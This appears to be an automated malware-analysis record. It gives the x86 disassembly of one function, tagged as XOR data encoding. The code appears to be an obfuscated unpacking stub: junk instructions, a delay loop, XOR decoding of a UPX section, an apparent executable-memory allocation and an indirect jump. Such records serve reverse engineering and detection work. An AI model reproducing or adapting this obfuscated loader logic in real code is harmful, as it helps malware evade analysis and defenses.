Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x4ea76da6
mov esi, 0x6beceab8
sub esi, 0xa731d1e3
add esi, edx
popal
sub edx, esi
add esi, 0xb976a3b9
or esi, edx
mov edi, 0
mov ecx, ebx
and edx, edx
not esi
mov eax, ecx
mov esi, edx
not esi
mov ebx, eax
add esi, edx
sub esi, 0xbb725c75
add edi, 1
and edx, edx
not edx
not esi
cmp edi, 0x100059a
jne 0xa789cf
not edx
sub esi, 0xbb197d42
sub esi, edx
not esi
mov esi, 0xa78796
add eax, edx
mov ecx, 0x2e73acfa
mov edi, 0xa7898a
add eax, ecx
mov edx, ecx
sub edx, 0xb19205e7
mov ebx, dword [esi]
sub eax, ecx
sub edx, eax
mov edx, ecx
and ebx, 0xff
not eax
not eax
sub eax, 0x763db6ce
xor dword [edi], ebx
sub eax, 1
dec edx
inc edi
not ecx
sub edx, 0x2907a41
add esi, 1
add edx, ecx
not eax
cmp edi, entry0
jl 0xa78a24
mov edx, 0x73dfde25
sub eax, ecx
mov edx, 0x59f1a75a
add ecx, 0x763c7dae
inc eax
mov edi, ecx
sub edi, 0x800c70cc
mov edi, 0x7ccd9278
mov edx, 0xa7898e
or esi, ebx
or esi, esi
mov edx, dword [edx]
inc esi
dec ecx
mov ebx, esi
mov edx, dword [edx]
and ebx, ebx
dec ebx
sub esp, 4
mov dword [esp], edx
sub edi, 0xa7754c07
mov esi, 0x1c2f7674
mov edx, 0xa7898a
mov ecx, 0xd1e1cb9
dec ebx
sub esi, edi
mov edx, dword [edx]
add ecx, 1
inc edi
mov edx, dword [edx]
mov ecx, 0x563dc43b
dec edi
push 0xa78992
and ebx, ebx
sub ecx, edi
call edx
sub ebx, ecx
not ecx
add esi, esi
pop edx
mov ecx, esi
sub edi, 0x361013e1
add esi, esi
push 0xa7899f
dec edi
sub esi, 0x89c2099d
add ecx, edi
push eax
sub esi, 0xc12b7e73
mov esi, 0xe1145ac8
call edx
sub esi, 0xfb91ac80
sub ecx, edi
push 0x40
sub ecx, edi
or esi, edi
push 0x3000
sub ebx, 0x581b4108
or ecx, ecx
dec edi
push 0x20000857
sub ecx, 1
add ebx, 0x2c6b929e
push 0
add ecx, 0x18f7dc27
sub esi, edi
call eax
add ecx, 1
mov edi, 0xb862ada6
add eax, 0x200007da
mov ebx, 0xc41a8c1
dec ebx
sub esi, ebx
mov edx, 0xff2bcf99
not esi
not ebx
and ebx, ecx
mov dword [eax], edx
sub esi, ecx
add ebx, 0x1ea3a31b
mov edx, dword [eax]
mov ebx, edi
sub edi, 0xf63df168
cmp edx, 0xff2bcf99
je 0xa78b85
mov edx, 0
mov byte [edx], cl
or edi, ebx
sub ecx, 0xe8b90f8e
mov ebx, ecx
dec ebx
or ebx, ecx
add esi, ecx
mov esi, edx
not edx
or esi, esi
mov ebx, section.UPX1
mov esi, 0x9a0716d9
inc edx
mov eax, 0xa78795
sub esi, edx
mov esi, 0x8d7f5782
mov esi, 0xd4faae7
mov ecx, 0
and edx, esi
or edx, esi
mov edi, 0xa78796
or esi, edx
add edx, 0x72aa1966
lea edi, [edi + ecx]
add edx, 0x1a462a1f
or edx, esi
mov edi, dword [edi]
not esi
dec esi
and edi, 0xff
mov esi, 0x82a66ca7
or edx, edx
add esi, edx
inc ecx
add esi, edx
add esi, esi
dec esi
cmp ecx, 0x1f4
jne 0xa78bfe
mov ecx, 0
add esi, 0x6979c4f3
add edx, 1
mov esi, 0x8f3fe267
inc edx
sub edx, 0xd13f80e4
sub edx, esi
xor dword [ebx], edi
mov esi, edx
sub esi, edx
add ebx, 2
or esi, edx
not esi
inc edx
cmp ebx, eax
jl 0xa78bbf
sub esi, 0x4ad27e8c
or edx, esi
not esi
mov edx, esi
mov edi, section.UPX1
not eax
mov ebx, 0xe3bddf69
mov ecx, section.UPX1
add ebx, ebx
sub eax, 0xff845d56
inc eax
mov esi, 0xa78795
not ebx
mov eax, 0x977ae1cd
mov edx, 0
or eax, eax
inc eax
mov dl, byte [ecx]
sub eax, ebx
sub eax, 0xd012b85d
mov byte [edi], dl
or ebx, eax
not eax
inc edi
inc ebx
sub ebx, 1
add ecx, 2
add ebx, eax
add eax, 0xc12a46d0
sub ebx, 1
cmp ecx, esi
jle 0xa78c6b
mov eax, ebx
mov eax, ebx
sub esi, edx
sub edx, esi
or esi, edx
push 0x8dc6a0
inc esi
sub esi, 0xffb29c41
mov esi, edx
ret